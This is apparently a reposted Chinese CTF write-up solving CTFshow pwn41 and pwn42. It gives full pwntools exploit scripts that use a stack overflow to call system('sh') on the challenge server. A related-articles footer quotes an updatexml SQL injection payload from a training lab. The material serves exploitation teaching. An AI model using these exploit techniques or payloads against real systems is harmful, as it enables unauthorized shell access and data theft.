CTFshow-pwn入门-栈溢出pwn41-pwn42

news2024/11/17 21:35:02

pwn41

在这里插入图片描述
我们首先将pwn文件下载下来,拖入到虚拟机查看一下文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
该文件只开启了栈不可执行,并且文件是32位的。
我们把文件托到ida32中查看一下反编译代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  logo(&argc);
  ctfshow();
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}
int hint()
{
  system("echo flag");
  return 0;
}
int useful()
{
  return printf("sh");
}

先简单说下这道题的思路,首先ctfshow函数中buf数组长度为14,却需要读入0x32个长度的数据,显然存在栈溢出。其次我们还可以注意到,hint函数中存在system函数,我们可以plt表中获取system函数的地址,然后再从useful函数获取到sh的地址,这样就可以拼凑处system(“sh”),进而拿到服务器的shell。

编写exp

计算溢出长度

在这里插入图片描述
从ctfshow函数中可以看到,buf在栈中的位置在ebp上面12h处,加上ebp本身所占栈单元的4个字节,那么栈溢出的长度就为0x12h+0x4h

拿到system函数的地址

使用objdump命令获取文件的plt表,从而直接拿到system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x080483d0

拿到sh的地址

直接在ida中点击sh,可以直接跳转到data段从而拿到sh的地址。
在这里插入图片描述
sh的地址为:0x080487BA

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28160")

offset = 0x12 + 0x4

system_addr = 0x080483d0
sh_addr = 0x080487BA

payload = offset * 'a' 
payload += p32(system_addr)
payload += 'a' * 4 # 表示system函数的返回地址,由于不需要返回到某个地方,所以用4个字节顶替
payload += p32(sh_addr)

io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

pwn42

在这里插入图片描述
首先我们还是先将文件下载下来,托到虚拟机查看保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
文件的保护信息与上道题目几乎一样,开启了栈不可执行,只不过这个文件是64位的。那我们就先把他拖进到ida64中查看他的反编译代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  logo();
  ctfshow();
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0, buf, 0x32uLL);
}
__int64 hint()
{
  system("echo flag");
  return 0LL;
}
int useful()
{
  return printf("sh");
}

这道题的代码几乎跟上道题也是差不多的,还是一样的思路,利用ctfshow函数中buf的栈溢出,通过hint函数的system函数与useful函数的sh相结合拼凑成system(sh)来获得shell。

只不过在64位中,需要堆栈平衡 ,并且64位的传参和32位也不一样。

具体64位传参方式如下:
当参数少于7个时, 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前⾯⼀样, 但后⾯的依次从 “右向左” 放⼊栈中,和32位汇编⼀样。

编写exp

计算溢出长度

在这里插入图片描述
首先可以观察到,buf在栈中的位置在rbp上面Ah处,加上rbp本身所占栈单元的长度为8(32位为4,64位为8),那么溢出长度就为0xa + 0x8

拿到system函数的地址

还是通过使用objdump命令来获得文件的plt表从而拿到system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x0000000000400560

拿到sh的函数地址

直接在ida中点击sh,即可跳转到data段,就可以获得sh的地址了。
在这里插入图片描述
sh的地址为:0x0000000000400872

拿到pop rdi;ret和ret的地址

pop rdi,把参数pop到rdi寄存器中,再通过ret将程序的执行流控制到我们在栈中传入的恶意地址。

ROPgadget --binary pwn --only "pop|ret"

在这里插入图片描述
pop rdi;ret的地址为:0x0000000000400843
ret的地址为:0x000000000040053e

ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章
https://www.cnblogs.com/ZIKH26/articles/15996874.html
https://blog.csdn.net/hu_c_t_f/article/details/131902515

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28142")

offset = 0xa + 0x8

pop_rdi = 0x0000000000400843
ret = 0x000000000040053e
sh_addr = 0x0000000000400872
system_addr = 0x0000000000400560

payload = offset * 'a'
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(ret)
payload += p64(system_addr)

io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1338686.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大数据开发之Sqoop详细介绍

测试环境 CDH 6.3.1 Sqoop 1.4.7 一.Sqoop概述 Apache Sqoop(SQL-to-Hadoop)项目旨在协助RDBMS与Hadoop之间进行高效的大数据交流。用户可以在 Sqoop 的帮助下,轻松地把关系型数据库的数据导入到 Hadoop 与其相关的系统 (如HBase和Hive)中&…

呼叫中心知识库管理

呼叫中心向客户提供所需服务与支持的过程中,会遇到形形色色的客户和各式各样的问题,需要客服人员做出回答。客户对于客服人员的答复是否满意直接关系着呼叫中心的业绩,甚至企业的兴衰。而OKCC的知识库管理正是基于呼叫中心的这一需求而存在&a…

Python range函数新手指南:详细解析内部机制

更多资料获取 📚 个人网站:ipengtao.com range函数是Python中常用的内置函数之一,用于生成一系列连续的整数。本文将深入探讨range函数的内部实现,以揭示其工作原理和效率。 range函数的基本用法 range函数的基本用法。它通常使…

async和await的使用

async和await是promise的一种语法糖,也就是更简单易懂的写法。 在很多项目中,你会经常看到async和await的配合使用,看到原始的promise写法反而不多,就是因为async-await这种写法是用同步的语法去实现异步的逻辑。 基础使用 原生promise写法 let value nulllet proFn new P…

最新腾讯云2核2G轻量服务器性价比首选62元一年!

继昨天阿里云2核2G3M带宽轻量应用服务器降价到63元后,腾讯云迅速做出响应,腾讯云轻量2核2G3M服务器降价到62元一年,1元之差,你选择阿里云还是腾讯云?值得一提的是,阿里云不限制月流量,但是腾讯云…

【廖雪峰Java】Java基础知识

学习课程:廖雪峰的官方网站:https://www.liaoxuefeng.com/ 1、简介 1.1、Java之父 詹姆斯高斯林(James Gosling) 1.2、Java三个不同版本 Java SE:Standard EditionJava EE:Enterprise EditionJava ME&a…

openGauss学习笔记-174 openGauss 数据库运维-备份与恢复-导入数据-管理并发写入操作

文章目录 openGauss学习笔记-174 openGauss 数据库运维-备份与恢复-导入数据-管理并发写入操作174.1 事务隔离说明174.2 写入和读写操作174.3 并发写入事务的潜在死锁情况 openGauss学习笔记-174 openGauss 数据库运维-备份与恢复-导入数据-管理并发写入操作 174.1 事务隔离说…

生存分析序章2——生存分析之Python篇:lifelines库入门

目录 写在开头1. 介绍 lifelines 库1.1 lifelines库简介1.2 安装与环境配置 2. 数据准备2.1 数据格式与结构2.2 处理缺失数据2.3 对异常值的处理 3. Kaplan-Meier 曲线3.1 使用 lifelines 绘制生存曲线3.2 曲线解读3.3 额外补充 4. Cox 比例风险模型4.1 lifelines 中的 Cox 模型…

Echarts中饼图-实现放大显示数据

示例 代码演示 option {tooltip: {trigger: item},legend: {top: 5%,left: center},series: [{name: Access From,type: pie,radius: [40%, 70%],avoidLabelOverlap: false,label: {show: false,position: center},emphasis: {scale: true,//是否开启高亮后扇区的放大效果。s…

跟着LearnOpenGL学习12--光照贴图

文章目录 一、前言二、漫反射贴图三、镜面光贴图3.1、采样镜面光贴图 一、前言 在跟着LearnOpenGL学习11–材质中,我们讨论了让每个物体都拥有自己独特的材质从而对光照做出不同的反应的方法。这样子能够很容易在一个光照的场景中给每个物体一个独特的外观&#xf…

若依common模块解读,Java小白入门(四)

● 若依springboot版本后端,有两个核心模块,一个是ruoyi-common,一个是ruoyi-framewok,今天我们来看第一个模块ruoyi-common, 一些基类,工具等框架底座,分别来看其包含哪些基本内容: 1. annotation 注解,…

Pikachu靶场 “Http Header”SQL注入

1. 先在 pikachu 打开 Http Header 注入模块,点击提示 查看登录 账号 和 密码,登陆后去 Burp 中找到登陆的 GET请求 2. 设置payload1 :在 User-Agent最后 输入 查看 数据库名 or updatexml(1,concat(0x7e,database()),0) or 查看 用户名…

windows搭建MySQL 8.25主从配置

1.本次搭建的版本 mysql-8.0.25-win-x64 2.在解压完成后的文件内并没有对应的my.ini的配置文件这个my.ini是需要的主配置文件需要自行创建。 注:安装路径及数据存放路径需根据实际安装情况进行修改(其它配置信息可结合实际情况进行修改) 3.在…

什么是迁移学习(Transfer Learning)?定义,优势,方法

迄今为止,大多数人工智能(AI)项目都是通过监督学习技术构建的。监督学习是一种从无到有构建机器学习(ML)模型的方法,它对推动AI发展起到了关键作用。然而,由于需要大量的数据集和强大的计算能力…

highcharts的甘特图设置滚动时表头固定,让其他内容跟随滚动

效果图:最左侧的分类列是跟随甘特图滚动的,因为这一列如果需要自定义,比如表格的话可能会存在行合并的情况,这个时候甘特图是没有办法做的,然后甘特图的表头又需要做滚动时固定,所以设置了甘特图滚动时&…

最新多模态大模型SOTA - EMU (Generative Multimodal Models are In-Context Learners)

前言 设计的模型叫EMU,通过统一的自回归方式(其预测的输出依赖于过去的输出)训练。参数37B(370亿)。指标在目前多项视觉(图像,视频)问答的SOTA tips: 不过这里吐槽一点…

如何搭建Tomcat服务并结合内网穿透实现公网访问本地站点

文章目录 前言1.本地Tomcat网页搭建1.1 Tomcat安装1.2 配置环境变量1.3 环境配置1.4 Tomcat运行测试1.5 Cpolar安装和注册 2.本地网页发布2.1.Cpolar云端设置2.2 Cpolar本地设置 3.公网访问测试4.结语 前言 Tomcat作为一个轻量级的服务器,不仅名字很有趣&#xff0…

SA 接通案例(2)

1.测试卡开通增值业务导致VONR呼叫时延增大 关键字:VONR拉网测试,VONR时延,增值业务 【问题描述】 3月VONR拉网测试呼叫时延增加,2月VONR呼叫时延1.1s,3月VONR呼叫时延1.4s。 【问题分析】 一、2月和3月典型Case对比…

CMMI-项目总体计划模版

目录 1、总体目录结构 2、重点章节概要示例 2.1 第四章 项目管理 2.2 第六章 实施与交付计划 2.3 第七章 运维计划 1、总体目录结构 2、重点章节概要示例 2.1 第四章 项目管理 2.2 第六章 实施与交付计划 2.3 第七章运维计划

最佳实践!Apipost使用指南

自诞生以来,Apipost凭借其简洁直观的用户界面、强大的功能以及简单、易上手的操作,让Apipost成为了开发人员不可或缺的工具。本文将详细介绍Apipost的主要功能和使用方法,帮助大家更好地了解这款优秀的API开发工具。 下载安装 直接进入Apip…